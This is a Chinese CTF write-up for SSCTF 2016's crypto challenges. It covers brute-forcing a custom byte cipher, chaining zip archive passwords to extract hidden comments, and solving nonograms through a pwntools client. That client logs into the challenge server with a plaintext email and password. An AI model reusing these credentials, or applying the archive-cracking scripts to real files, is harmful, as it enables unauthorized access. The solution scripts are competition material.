SSCTF线上赛解题报告Part 3(解密和溢出)

2016-03-03 375300人围观 ,发现 8 个不明物体 头条网络安全

*原创作者:Nu1L团队

解密和溢出(Crypto&Exploit)

Crypto&Exploit100(HeHeDa)

简单看下,发现可以逐位爆破,直接上python脚本。

先爆破key

def LShift(t, k):
    k %= 8
    return ((t << k) | (t >> (8 - k))) & 0xff

def encode(p):
    ret = ""
    for i in range(8):
        ret = ('|' if (p >> i) & 1 else 'O') + ret
    return ret

A = [85, 128, 177, 163, 7, 242, 231, 69, 185, 1, 91, 89, 80, 156, 81, 9, 102, 221, 195, 33, 31, 131, 179, 246, 15, 139, 205, 49, 107, 193, 5, 63, 117, 74, 140, 29, 135, 43, 197, 212, 0, 189, 218, 190, 112, 83, 238, 47, 194, 68, 233, 67, 122, 138, 53, 14, 35, 76, 79, 162, 145, 51, 90, 234, 50, 6, 225, 250, 215, 133, 180, 97, 141, 96, 20, 226, 3, 191, 187, 57, 168, 171, 105, 113, 196, 71, 239, 200, 254, 175, 164, 203, 61, 16, 241, 40, 176, 59, 70, 169, 146, 247, 232, 152, 165, 62, 253, 166, 167, 182, 160, 125, 78, 28, 130, 159, 255, 124, 153, 56, 58, 143, 150, 111, 207, 206, 32, 144,
     75, 39, 10, 201, 204, 77, 104, 65, 219, 98, 210, 173, 249, 13, 12, 103, 101, 21, 115, 48, 157, 147, 11, 99, 227, 45, 202, 158, 213, 100, 244, 54, 17, 161, 123, 92, 181, 243, 184, 188, 84, 95, 27, 72, 106, 192, 52, 44, 55, 129, 208, 109, 26, 24, 223, 64, 114, 19, 198, 23, 82, 120, 142, 178, 214, 186, 116, 94, 222, 86, 251, 36, 4, 248, 132, 25, 211, 199, 30, 87, 60, 127, 155, 41, 224, 151, 237, 136, 245, 37, 170, 252, 8, 42, 209, 46, 108, 88, 183, 149, 110, 66, 235, 229, 134, 73, 38, 118, 236, 119, 154, 216, 217, 240, 22, 121, 174, 93, 126, 230, 228, 18, 148, 220, 172, 2, 137, 34]
B = [0, 2, 3, 7, 1, 5, 6, 4]

C = [179, 132, 74, 60, 94, 252, 166, 242, 208, 217, 117, 255, 20, 99, 225, 58, 54, 184, 243, 37, 96, 106, 64, 151, 148, 248, 44, 175, 152, 40, 171, 251, 210, 118, 56, 6, 138, 77, 45, 169, 209, 232, 68, 182, 91, 203, 9, 16, 172, 95, 154, 90, 164, 161, 231, 11, 21, 3, 97, 70, 34, 86, 124, 114, 119, 223, 123, 167, 47, 219, 197, 221, 193, 192, 126, 78, 39, 233, 4, 120, 33, 131, 145, 183, 143, 31, 76, 121, 92, 153, 85, 100, 52, 109, 159, 112, 71, 62, 8, 244, 116, 245, 240, 215, 111, 134, 199, 214, 196, 213, 180, 189, 224, 101, 202, 201, 168, 32, 250, 59, 43, 27, 198, 239, 137, 238, 50,
     149, 107, 247, 7, 220, 246, 204, 127, 83, 146, 147, 48, 17, 67, 23, 93, 115, 41, 191, 2, 227, 87, 173, 108, 82, 205, 49, 1, 66, 105, 176, 22, 236, 29, 170, 110, 18, 28, 185, 235, 61, 88, 13, 165, 188, 177, 230, 130, 253, 150, 211, 42, 129, 125, 141, 19, 190, 133, 53, 84, 140, 135, 10, 241, 222, 73, 12, 155, 57, 237, 181, 36, 72, 174, 207, 98, 5, 229, 254, 156, 178, 128, 55, 14, 69, 30, 194, 122, 46, 136, 160, 206, 26, 102, 218, 103, 139, 195, 0, 144, 186, 249, 79, 81, 75, 212, 234, 158, 163, 80, 226, 65, 200, 38, 187, 113, 63, 24, 25, 142, 51, 228, 35, 157, 216, 104, 162, 15, 89]

D = [2, 4, 0, 5, 6, 7, 1, 3]

plain = bytearray("asdfghjk")
print plain
#key = bytearray('12345678')
#assert len(key) == 8

ss=[chr(x) for x in range(0x20,0x80)]
res='OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO|||O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO|O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OOOOO|||OO|O|'
def fuzz(key):
 t1 = bytearray()
 for i in plain[0:len(key)]:
    t1.append(A[i])
 t2 = bytearray()
 for i in range(len(t1)):
    t2.append(LShift(t1[i], B[i % 8]))
 for times in range(16):
    for i in range(len(t2)):
        t2[i] = C[t2[i]]
    for i in range(len(t2)):
        t2[i] = LShift(t2[i], i ^ D[i % 8])
    for i in range(len(t2)):
        t2[i] ^= key[i % 8]
 out = ""
 for i in t2:
    out += encode(i)
 if out==res[0:8*len(key)]:
   #print out
   print key

for t1 in ['@','^']:
  for t2 in ['N','&']:
    for t3 in ['9','T']:
      for t in ss:
             key=t1+t2+'#qD'+t3+'3'+t
             fuzz(bytearray(key))

得到key^&#qD93_

再爆破flag

def LShift(t, k):
    k %= 8
    return ((t << k) | (t >> (8 - k))) & 0xff


def encode(p):
    ret = ""
    for i in range(8):
        ret = ('|' if (p >> i) & 1 else 'O') + ret
    return ret


A = [85, 128, 177, 163, 7, 242, 231, 69, 185, 1, 91, 89, 80, 156, 81, 9, 102, 221, 195, 33, 31, 131, 179, 246, 15, 139, 205, 49, 107, 193, 5, 63, 117, 74, 140, 29, 135, 43, 197, 212, 0, 189, 218, 190, 112, 83, 238, 47, 194, 68, 233, 67, 122, 138, 53, 14, 35, 76, 79, 162, 145, 51, 90, 234, 50, 6, 225, 250, 215, 133, 180, 97, 141, 96, 20, 226, 3, 191, 187, 57, 168, 171, 105, 113, 196, 71, 239, 200, 254, 175, 164, 203, 61, 16, 241, 40, 176, 59, 70, 169, 146, 247, 232, 152, 165, 62, 253, 166, 167, 182, 160, 125, 78, 28, 130, 159, 255, 124, 153, 56, 58, 143, 150, 111, 207, 206, 32, 144,
     75, 39, 10, 201, 204, 77, 104, 65, 219, 98, 210, 173, 249, 13, 12, 103, 101, 21, 115, 48, 157, 147, 11, 99, 227, 45, 202, 158, 213, 100, 244, 54, 17, 161, 123, 92, 181, 243, 184, 188, 84, 95, 27, 72, 106, 192, 52, 44, 55, 129, 208, 109, 26, 24, 223, 64, 114, 19, 198, 23, 82, 120, 142, 178, 214, 186, 116, 94, 222, 86, 251, 36, 4, 248, 132, 25, 211, 199, 30, 87, 60, 127, 155, 41, 224, 151, 237, 136, 245, 37, 170, 252, 8, 42, 209, 46, 108, 88, 183, 149, 110, 66, 235, 229, 134, 73, 38, 118, 236, 119, 154, 216, 217, 240, 22, 121, 174, 93, 126, 230, 228, 18, 148, 220, 172, 2, 137, 34]

B = [0, 2, 3, 7, 1, 5, 6, 4]

C = [179, 132, 74, 60, 94, 252, 166, 242, 208, 217, 117, 255, 20, 99, 225, 58, 54, 184, 243, 37, 96, 106, 64, 151, 148, 248, 44, 175, 152, 40, 171, 251, 210, 118, 56, 6, 138, 77, 45, 169, 209, 232, 68, 182, 91, 203, 9, 16, 172, 95, 154, 90, 164, 161, 231, 11, 21, 3, 97, 70, 34, 86, 124, 114, 119, 223, 123, 167, 47, 219, 197, 221, 193, 192, 126, 78, 39, 233, 4, 120, 33, 131, 145, 183, 143, 31, 76, 121, 92, 153, 85, 100, 52, 109, 159, 112, 71, 62, 8, 244, 116, 245, 240, 215, 111, 134, 199, 214, 196, 213, 180, 189, 224, 101, 202, 201, 168, 32, 250, 59, 43, 27, 198, 239, 137, 238, 50,
     149, 107, 247, 7, 220, 246, 204, 127, 83, 146, 147, 48, 17, 67, 23, 93, 115, 41, 191, 2, 227, 87, 173, 108, 82, 205, 49, 1, 66, 105, 176, 22, 236, 29, 170, 110, 18, 28, 185, 235, 61, 88, 13, 165, 188, 177, 230, 130, 253, 150, 211, 42, 129, 125, 141, 19, 190, 133, 53, 84, 140, 135, 10, 241, 222, 73, 12, 155, 57, 237, 181, 36, 72, 174, 207, 98, 5, 229, 254, 156, 178, 128, 55, 14, 69, 30, 194, 122, 46, 136, 160, 206, 26, 102, 218, 103, 139, 195, 0, 144, 186, 249, 79, 81, 75, 212, 234, 158, 163, 80, 226, 65, 200, 38, 187, 113, 63, 24, 25, 142, 51, 228, 35, 157, 216, 104, 162, 15, 89]

D = [2, 4, 0, 5, 6, 7, 1, 3]

#plain = bytearray("asdfghik123456")
#print plain
key = bytearray('^&#qD93_')
#assert len(key) == 8

ss=[chr(x) for x in range(0x0,0xff)]
res='OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO|||O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO|O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OOOOO|||OO|O|'
flag='OO||O||O|O|||OOOO||||||O|O|||OOO||O|OOOO||O|O|OO|||||OOOO||||O||OO|OO||O||O|O|O|||||OOOOOO|O|O||OOOOOOO||O|||OOOO||OO|OO|||O|OO|O|||O|O|OO|OOOO|OOO|OOO|OOOO||O|OO||||OO||||OOO|O|O||OO||||O||OOO|||O|OO|OO||OO||OOOO|O|'
def fuzz(plain):
 t1 = bytearray()
 for i in plain:
    t1.append(A[i])
 t2 = bytearray()
 for i in range(len(t1)):
    t2.append(LShift(t1[i], B[i % 8]))
 for times in range(16):
    for i in range(len(t2)):
        t2[i] = C[t2[i]]
    for i in range(len(t2)):
        t2[i] = LShift(t2[i], i ^ D[i % 8])
    for i in range(len(t2)):
        t2[i] ^= key[i % 8]
 out = ""
 for i in t2:
    out += encode(i)
 if out in flag:
   #print out
   print repr(plain)

for t in ss:
     
     #f='SSCTF{'+'\x98qaz9ol.\xabhy64rfvQujm'+t
     f='SSCTF{1qaz9ol.nhy64rfv7ujm'+t
     fuzz(bytearray(f))

得到SSCTF{1qaz9ol.nhy64rfv7ujm}

Crypto&Exploit200(Chain Rule)

将所有zip以密码start解压后,发现一个解开的1.txt

内容为Next password is[hh.M5Px4U%8]*2z

再用这个密码去解压所有zip就是了,机智的队友很快编写了脚本,最后解开得到flag.zippwd.zip

pwd.zip里有很多txt,需要找到一条路径,从start.txt到达376831.txt,得到提示

Follow the path, collect the comments. Avoid the BLACKHOLE!

爆破压缩包密码的脚本:

import zipfile
import os
from threading import Thread
import time

nowDir = '.'
Now = os.listdir(nowDir)
def extract(output_dir,password):
	global Now
	for zip_file in Now:
		try:
			f_zip = zipfile.ZipFile(zip_file, 'r')
			f_zip.extractall(output_dir,pwd=password)
			print zip_file
			f_zip.close()
			f = open('1.txt','r')
			p = f.readlines()[0][-16:]
			f.close()
			return p
		except:
			continue
	
Pass = 'start'
for i in xrange(len(Now)):
	Pass = extract('.',Pass)
	print i,Pass

写了个脚本得到路径:

rt subprocess
def fun():
  txtid='376'+'831'
  res=txtid+'<-'
  #for i in range(100):  
  while True:
        ret=subprocess.check_output(['grep','-R',txtid])
        if 'Game' in ret:
            res+='come back done'
            break
        txtid=ret[0:ret.find('.txt')]
        res+=txtid+'<-'

  print res

fun()

然后就是跟着路径收集comments

这里卡了很久,后来研究了zip的格式

comments就在每个zip的最后

仔细看下pwd.zip后面,每个.txtPK之间存放有个tab或空格的注释

提取出来:

f1=open('pwdc','rb')
f1c=f1.read()

f2=open('lujing','rb')
f2c=f2.read()

def gc(txtid):
  t=f1c[f1c.find(txtid+'.txt')+10:]
  ret=t[:t.find('PK')]
  return ret
res=''
for i in range(len(f2c)/8):
  txtid=f2c[i*8:i*8+6]
  res=gc(txtid)+res

f1.close()
f2.close()

f3=open('comments','wb')
f3.write(res)
f3.close()

由于只有两种符号,把它转换为0/1试试,得到:

When I am dead, my dearest,

Sing no sad songs for me;

Plant thou no roses at my head,

Nor shady cypress tree:

Be the green grass above me

With showers and dewdrops wet:

And if thou wilt, remember,

And if thou wilt, forget.

password part1:Thispasswordistoolong

I shall not see the shadows,

I shall not see the rain;

I shall not hear the nightingle

Sing on as if in pain:

And dreaming through the twilight

That doth not rise nor set,

Haply I may remember,

And haply I may forget.

password part2:andyoudon’twanttocrackitbybruteforce

flag.zip的密码出来了Thispasswordistoolongandyoudon’twanttocrackitbybruteforce

得到Flag isSSCTF{Somewhere_Over_The_Rainbow}

Crypto&Exploit300(Nonogram)

这题是个logic pic游戏,每次能解出一张二维码,而这张二维码里面存着每一位flag的加盐hash加密值和通往下一关的command,总共有25*25和29*29两种类型的二维码,git上找开源项目改改后能解出大部分二维码,但是有的题目有多个解,用普通算法没法求出所有解(所有解中只有一种能扫出来),尝试过修改源码对同一组数据采用不同方向求解(从上到下,从下到上等)仍然效果不好,最后发现一个在线解nonogram的网站能秒破:http://www.lancs.ac.uk/~simpsons/nonogram/auto,结合之前的脚本就能的到flag。

部分脚本如下:

from pwn import *
import time


from PIL import Image, ImageDraw

SYMBOL_EMPTY = 0
SYMBOL_X = 1
SYMBOL_FILLED = 2

# 
def fixed_sum_digits(digits, Tot):
    """
    adapted from http://stackoverflow.com/a/8617750

    Given digits and Tot, it generates an array of all ways to arrange "digits" x digits so that
    the sum of them is "Tot". Zero can be a digit on either end, otherwise it must be one or greater
    """
    ways = []
    def iter_fun(sum, deepness, sequence, Total):
        if deepness == 0:
            if sum == Total:
                ways.append(sequence)
        else:
            on_end = deepness == 1 or deepness == digits
            for i in range(0 if on_end else 1, Total - sum + 1):
                iter_fun(sum + i, deepness - 1, sequence + [i], Total) 

    iter_fun(0, digits, [], Tot) 
    return ways


def generate_possible_rows(nums, size):
    digits = len(nums) + 1
    space_left = size - sum(nums)
    combos = fixed_sum_digits(digits, space_left)

    rows = []
    for combo in combos:
        row = [None] * (len(combo) + len(nums))
        row[::2] = combo
        row[1::2] = nums
        out = []
        curr = SYMBOL_X;
        for r in row:
            out.extend([curr] * r)
            curr = SYMBOL_X if (curr == SYMBOL_FILLED) else SYMBOL_FILLED
        rows.append(out)
    return rows

def filter_rows(rows, existing):
    def is_row_okay(row, existing):
        for i in range(0, len(existing)):
            if existing[i] != 0 and row[i] != existing[i]:
                return False
        return True 
    return [row for row in rows if is_row_okay(row, existing)]

def find_common_rows(rows, size):
    row_x = [SYMBOL_X] * size
    row_filled = [SYMBOL_FILLED] * size

    for row in rows:
        for i in range(0, size):
            if row[i] == SYMBOL_FILLED:
                row_x[i] = SYMBOL_EMPTY
            if row[i] == SYMBOL_X:
                row_filled[i] = SYMBOL_EMPTY

    return [x + y for x, y in zip(row_x, row_filled)]

def do_row(nums, size, existing=None):
    possible = generate_possible_rows(nums, size)

    if existing is not None:
        possible = filter_rows(possible, existing)

    common = find_common_rows(possible, size)

    if existing is not None:
        for i in range(0, size):
            if common[i] == SYMBOL_EMPTY:
                common[i] = existing[i]

    return common

def is_row_filled(row):
    for x in row:
        if x == SYMBOL_EMPTY:
            return False
    return True


# Grid abstraction handlers
def grid_make(w, h):
    return [[SYMBOL_EMPTY for i in range(0, w)] for j in range(0, h)]
def grid_get_row(grid, row):
    return grid[row]
def grid_get_col(grid, col):
    return [row[col] for row in grid]
def grid_set_row(grid, row, val):
    grid[row] = val
def grid_set_col(grid, col, val):
    for row in range(0, len(grid)):
        grid[row][col] = val[row]
def grid_print(grid):
    symbol_print = [' ', '·', '█']
    for row in grid:
        s = ""
        for x in row:
            s += symbol_print[x]
        print(s)
def grid_filled(grid):
    for row in grid:
        if not is_row_filled(row):
            return False
    return True
def grid_image(grid, size=10):
    w, h = len(grid[0]), len(grid)
    im = Image.new("RGB", (w * size, h * size), (255, 255, 255))
    draw = ImageDraw.Draw(im)

    for y in range(0, h):
        row = grid[y]
        for x in range(0, w):
            val = row[x]
            coord = [(x * size, y * size), ((x + 1) * size, (y + 1) * size)]

            if val == SYMBOL_FILLED:
                draw.rectangle(coord, fill=(0, 0, 0))
            if val == SYMBOL_X:
                draw.rectangle(coord, fill=(255, 128, 128))
    return im
# end grid abstraction handlers

def go(cols, rows ,num):
    w = len(cols)
    h = len(rows)
    g = grid_make(w, h)
    #num = 0
    def snapshot(name="nonogram"):
        #num = 0
        im = grid_image(g)
        im.save("%s_%04d.png" % (name, num))
        #num += 1

    snapshot()
    while not grid_filled(g):
        for i in range(0, h):
            row = grid_get_row(g, i)
            if is_row_filled(row):
                continue

            d = do_row(test_rows[i], h, row)
            grid_set_row(g, i, d)
            snapshot()

        for i in range(0, w):
            col = grid_get_col(g, i)
            if is_row_filled(col):
                continue

            d = do_row(test_cols[i], w, col)
            grid_set_col(g, i, d)
            snapshot()
    snapshot()
    return g



conn = remote('socket.lab.seclover.com',52700)
print conn.recvuntil('Email Addr :')
conn.sendline('842726240@qq.com')
print conn.recvuntil('Password   :')
conn.sendline('uhOadRGbnHri')
print conn.recvuntil(':~$')

conn.sendline('sudo su')
ss = conn.recvuntil('}')
conn.recvuntil('#')

conn.sendline('id')
print conn.recvuntil('#')
conn.sendline('w')
print conn.recvuntil('#')
conn.sendline('eval')
print conn.recvuntil('#')
conn.sendline('bash')
print conn.recvuntil('#')
conn.sendline('ls')
print conn.recvuntil('#')
conn.sendline('dir')
print conn.recvuntil('#')
conn.sendline('cd')
print conn.recvuntil('#')
conn.sendline('mv')
print conn.recvuntil('#')
conn.sendline('cp')
print conn.recvuntil('#')
conn.sendline('pwd')
print conn.recvuntil('#')
conn.sendline('tree')
print conn.recvuntil('#')
conn.sendline('apt')
print conn.recvuntil('#')
conn.sendline('mysql')
print conn.recvuntil('#')
conn.sendline('php')
print conn.recvuntil('#')
conn.sendline('head')
print conn.recvuntil('#')
conn.sendline('tail')
print conn.recvuntil('#')
conn.sendline('cat')
print conn.recvuntil('#')
conn.sendline('grep')
print conn.recvuntil('#')
conn.sendline('more')
print conn.recvuntil('#')
conn.sendline('less')
print conn.recvuntil('#')
conn.sendline('vim')
print conn.recvuntil('#')
conn.sendline('nano')
print conn.recvuntil('#')
conn.sendline('sed')
print conn.recvuntil('#')
conn.sendline('awk')
print conn.recvuntil('#')
conn.sendline('ps')
print conn.recvuntil('#')
conn.sendline('top')
print conn.recvuntil('#')
conn.sendline('kill')
print conn.recvuntil('#')
conn.sendline('find')
print conn.recvuntil('#')
conn.sendline('break')
print conn.recvuntil('#')
conn.sendline('gcc')
print conn.recvuntil('#')
conn.sendline('debug')
print conn.recvuntil('#')
conn.sendline('git')
print conn.recvuntil('#')
conn.sendline('curl')
print conn.recvuntil('#')
conn.sendline('wget')
print conn.recvuntil('#')
conn.sendline('gzip')
print conn.recvuntil('#')
conn.sendline('tar')
print conn.recvuntil('#')
conn.sendline('ftp')

ss = conn.recvuntil('}')

#print ss
split = ss.split(':')
coll = split[1]
test_cols0 = coll[:-7]
test_rows0 = split[2]
test_rows0 = test_rows0[:-1]
print 'cols ====',test_cols0
print 'rows ====',test_rows0

test_cols = test_cols0
test_rows = test_rows0

ret = test_cols0.find('?')
change = 2
if ret!= -1:
	test_cols = test_cols0[:ret-1] + str(change) + test_cols0[ret+2:]
	print '==00=',test_cols

ret = test_rows0.find('?')
if ret!= -1:
	test_rows = test_rows0[:ret-1] + str(change) + test_rows0[ret+2:]
	print '==00=',test_rows


#test_rows=[[7,],(3,3),(1,2),(3,3,2),(1,1,1,1,2),(1,1,1,1),(1,1,1,1,1,1), (1,1,1,1,2),(2,1,2,1,1),(7,4,1,1),(1,1,1,1,1,2,1),(3,1,11,1),(16,1),(14,2),(4,1,1),(4,2,1,2),(1,2,1,1,2),(2,2,1,3),(1,1,4),(5,)]
#test_cols=[(4,4),(2,2,3,1),(1,1,5,1,1),(2,1,6),(1,10),(1,2,1,4),(1,1,1,6),(2,2,2,3,3),(1,4,3,2,1),(1,3,1,2),(1,4,1,1,1),(1,3,1,4,1,2),(1,2,3,1,1),(2,1,3,1),(1,1,2,2),(2,2,1),(2,2,2),(2,2,2),(4,3),(7,)]
test_cols = list(eval(test_cols))
print 'xxxx:',test_cols
test_rows = list(eval(test_rows))



go(test_cols,test_rows,7)
print 'over!'


conn.interactive()

解密脚本如下:

	#!/usr/bin/python
# -*- coding: utf-8 -*-


from PIL import Image, ImageDraw

SYMBOL_EMPTY = 0
SYMBOL_X = 1
SYMBOL_FILLED = 2

# 
def fixed_sum_digits(digits, Tot):
    """
    adapted from http://stackoverflow.com/a/8617750

    Given digits and Tot, it generates an array of all ways to arrange "digits" x digits so that
    the sum of them is "Tot". Zero can be a digit on either end, otherwise it must be one or greater
    """
    ways = []
    def iter_fun(sum, deepness, sequence, Total):
        if deepness == 0:
            if sum == Total:
                ways.append(sequence)
        else:
            on_end = deepness == 1 or deepness == digits
            for i in range(0 if on_end else 1, Total - sum + 1):
                iter_fun(sum + i, deepness - 1, sequence + [i], Total) 

    iter_fun(0, digits, [], Tot) 
    return ways


def generate_possible_rows(nums, size):
    digits = len(nums) + 1
    space_left = size - sum(nums)
    combos = fixed_sum_digits(digits, space_left)

    rows = []
    for combo in combos:
        row = [None] * (len(combo) + len(nums))
        row[::2] = combo
        row[1::2] = nums
        out = []
        curr = SYMBOL_X;
        for r in row:
            out.extend([curr] * r)
            curr = SYMBOL_X if (curr == SYMBOL_FILLED) else SYMBOL_FILLED
        rows.append(out)
    return rows

def filter_rows(rows, existing):
    def is_row_okay(row, existing):
        for i in range(0, len(existing)):
            if existing[i] != 0 and row[i] != existing[i]:
                return False
        return True
    return [row for row in rows if is_row_okay(row, existing)]

def find_common_rows(rows, size):
    row_x = [SYMBOL_X] * size
    row_filled = [SYMBOL_FILLED] * size

    for row in rows:
        for i in range(0, size):
            if row[i] == SYMBOL_FILLED:
                row_x[i] = SYMBOL_EMPTY
            if row[i] == SYMBOL_X:
                row_filled[i] = SYMBOL_EMPTY

    return [x + y for x, y in zip(row_x, row_filled)]

def do_row(nums, size, existing=None):
    possible = generate_possible_rows(nums, size)

    if existing is not None:
        possible = filter_rows(possible, existing)

    common = find_common_rows(possible, size)

    if existing is not None:
        for i in range(0, size):
            if common[i] == SYMBOL_EMPTY:
                common[i] = existing[i]

    return common

def is_row_filled(row):
    for x in row:
        if x == SYMBOL_EMPTY:
            return False
    return True


# Grid abstraction handlers
def grid_make(w, h):
    return [[SYMBOL_EMPTY for i in range(0, w)] for j in range(0, h)]
def grid_get_row(grid, row):
    return grid[row]
def grid_get_col(grid, col):
    return [row[col] for row in grid]
def grid_set_row(grid, row, val):
    grid[row] = val
def grid_set_col(grid, col, val):
    for row in range(0, len(grid)):
        grid[row][col] = val[row]
def grid_print(grid):
    symbol_print = [' ', '·', '█']
    for row in grid:
        s = ""
        for x in row:
            s += symbol_print[x]
        print(s)
def grid_filled(grid):
    for row in grid:
        if not is_row_filled(row):
            return False
    return True
def grid_image(grid, size=10):
    w, h = len(grid[0]), len(grid)
    im = Image.new("RGB", (w * size, h * size), (255, 255, 255))
    draw = ImageDraw.Draw(im)

    for y in range(0, h):
        row = grid[y]
        for x in range(0, w):
            val = row[x]
            coord = [(x * size, y * size), ((x + 1) * size, (y + 1) * size)]

            if val == SYMBOL_FILLED:
                draw.rectangle(coord, fill=(0, 0, 0))
            if val == SYMBOL_X:
                draw.rectangle(coord, fill=(255, 128, 128))
    return im
# end grid abstraction handlers

def go(cols, rows):
    w = len(cols)
    h = len(rows)
    g = grid_make(w, h)
    num = 0
    def snapshot(name="nonogram"):
        num = 0
        im = grid_image(g)
        im.save("%s_%04d.png" % (name, num))
        num += 1

    snapshot()
    while not grid_filled(g):
        for i in range(0, h):
            row = grid_get_row(g, i)
            if is_row_filled(row):
                continue

            d = do_row(test_rows[i], h, row)
            grid_set_row(g, i, d)
            snapshot()

        for i in range(0, w):
            col = grid_get_col(g, i)
            if is_row_filled(col):
                continue

            d = do_row(test_cols[i], w, col)
            grid_set_col(g, i, d)
            snapshot()
    snapshot()
    return g


# id w 
# 1 1   
# test stuff
#test_cols = [(2, 2, 5), (2, 1, 9), (3, 4, 3), (3, 3, 2, 1), (3, 3, 5, 2), (4, 2, 3, 2), (9, 2), (9, ), (16, ), (1, 15), (1, 11, 3), (14, 2), (2, 6, 5, 2), (1, 7, 2, 2), (1, 9, 4), (11, 2), (10, 2), (10, 1, 2), (8, 1, 2), (5, 3)]
#test_rows = [(2,), (4, 4), (1, 3, 1, 5), (3, 1, 2, 3), (1, 3, 4, 5), (2, 14), (15,), (14,), (16,), (18,), (4, 14), (3, 7, 6), (3, 9, 4), (2, 2, 6), (2, 2, 2, 4, 2), (2, 2, 1, 2, 4, 1), (2, 3, 2, 1, 3, 1), (2, 1, 3, 2, 4), (2, 1, 5, 2), (3, 3)]

#test_rows = [(2,2,11),(3,4,13),(3,5,11),(4,3,10),(3,3,3,1),(1,1,1,1,1,1),(5,3,4),(1,1,4,2,5,1),(3,2,2,5),(1,2,3,3,1),(1,6,1,1,1),(1,4,1,1,2),(5,4,5,1),(10,1,3,5),(8,1,1,8,2),(11,5,9),(1,3,5,9),(1,1,1,1,5,7),(3,6,8),(21,),(3,2,9,10),(6,4,3,5,1),(6,5),(3,5),(3,2,6),(3,5,1,1,3),(5,3,4,1,1,4),(3,2,3,6),(3,3,1,9),(2,2,1,2,4)]
#test_cols = [(2,4,1,3,3,4),(2,1,1,1,1,3,4),(3,3,7,5,3),(3,1,5,4,1),(6,6,4,1),(1,2,4,3),(3,4,1,1,2),(2,3,1,2),(3,3,3,1),(5,3,3,2),(4,1,1,4,1),(4,1,1,5),(1,1,3,3,1,1),(7,4,1,3),(1,14,2),(1,1,3,7,2),(4,1,9,2),(6,1,1,7,1),(5,1,7),(6,1,1,9),(4,1,1,6,1,1),(4,4,18),(4,3,13,1),(5,23),(3,3,8,5),(3,16,4),(3,1,6,4),(1,1,8,3),(1,3,3,3),(1,1,1,2,1,2)]

#test_rows = [[7,],(3,3),(1,2),(3,3,2),(1,1,1,1,2),(1,1,1,1),(1,1,1,1,1,1), (1,1,1,1,2),(2,1,2,1,1),(7,4,1,1),(1,1,1,1,1,2,1),(3,1,11,1),(16,1),(14,2),(4,1,1),(4,2,1,2),(1,2,1,1,2),(2,2,1,3),(1,1,4),(5,)]
#test_cols = [(4,4),(2,2,3,1),(1,1,5,1,1),(2,1,6),(1,10),(1,2,1,4),(1,1,1,6),(2,2,2,3,3),(1,4,3,2,1),(1,3,1,2),(1,4,1,1,1),(1,3,1,4,1,2),(1,2,3,1,1),(2,1,3,1),(1,1,2,2),(2,2,1),(2,2,2),(2,2,2),(4,3),(7,)]

#test_cols = [[7, 1, 1, 1, 5, 7], [1, 1, 1, 1, 2, 2, 1, 1], [1, 3, 1, 2, 3, 4, 1, 3, 1], [1, 3, 1, 1, 1, 3, 1, 1, 3, 1], [1, 3, 1, 1, 2, 1, 1, 1, 3, 1], [1, 1, 2, 2, 1, 1, 1], [7, 1, 1, 1, 1, 1, 1, 1, 7], [1, 2, 2, 2], [1, 1, 2, 3, 1, 4,    1  , 5], [4, 5, 2, 3, 2], [1, 3, 1, 1, 1, 2, 1, 1], [3, 3, 3, 3], [1, 1, 3, 1, 1, 2, 1, 1, 2, 1], [2, 1, 3, 3], [1, 3, 1, 1, 2, 1, 1, 2, 1, 1], [1, 2, 2, 1, 3, 7, 3], [1, 1, 1, 1, 2, 1, 1, 1, 2], [2, 2, 1, 2, 1, 1, 2, 1], [2, 3, 1, 1, 1, 1, 2, 1, 1], [1, 1, 2, 1, 2, 4, 1], [3, 1, 4, 1, 1, 1, 8], [1, 3, 1, 1, 2, 3, 1], [7, 2, 1, 1, 1], [1, 1, 1, 1, 1, 1, 2, 2, 2], [1, 3, 1, 3, 1, 1, 1, 6, 1], [1, 3, 1, 3, 1, 1, 1, 1, 1, 1, 1], [1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 2, 3], [7, 1, 1, 1, 1, 1, 1]]
#test_rows = [[7, 1, 3, 1, 7], [1, 1, 2, 2, 2, 1, 1], [1, 3, 1, 3, 1, 1, 1, 1, 1, 3, 1], [1, 3, 1, 2, 1, 1, 1, 1, 3, 1], [1, 3, 1, 1, 4, 4, 1, 3, 1], [1, 1, 1, 1, 3, 1, 1, 1], [7, 1, 1, 1, 1, 1, 1, 1, 7], [2, 1], [5, 5, 1, 4, 3, 1, 1, 1], [1, 1, 2, 3, 3, 1], [1, 2, 2, 2, 2, 2, 4], [1, 1, 1, 3, 1, 1, 1, 2, 2], [1, 1, 2, 1, 1, 1, 1, 1, 3], [3, 1, 4, 1, 2, 2, 1], [1, 1, 1, 2, 3, 1, 2], [2, 1, 1, 2, 3, 1], [2, 1, 4, 1, 3, 1, 1, 3], [1, 4, 1, 1, 2, 1, 1], [1, 2, 1, 1, 2, 1, 2, 3], [1, 1, 1, 2, 1, 2, 5, 1], [1, 3, 2, 3, 3, 8], [3, 4, 3, 1, 1], [7, 2, 3, 3, 1, 1, 2], [1, 1, 1, 2, 2, 2, 1], [1, 3, 1, 2, 1, 1, 2, 5, 1, 1], [1, 3, 1, 2, 2, 2, 1, 1], [1, 3, 1, 1, 2, 1, 4, 4], [1, 1, 1, 1, 3, 1, 1, 1], [7, 1, 2, 3, 1, 1, 2]]

